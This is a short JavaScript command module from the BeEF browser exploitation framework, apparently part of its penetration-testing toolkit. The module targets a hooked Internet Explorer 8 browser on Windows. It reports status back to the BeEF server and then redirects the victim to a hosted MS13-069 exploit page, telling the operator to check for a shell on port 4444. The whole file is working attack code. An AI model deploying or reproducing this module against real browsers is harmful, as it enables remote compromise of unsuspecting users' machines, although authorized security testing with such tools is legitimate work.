//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

  // check browser
  if (beef.browser.isIE8() != 1) {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target browser is not Internet Explorer 8");
    return
  }

  // check OS
  if (beef.os.isWindows() != 1) {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target OS is not Windows");
    return
  }

  // exploit
  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit attempted. Check for your shell on port 4444");
  window.location = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/ie_ms13_069_caret.html';

});
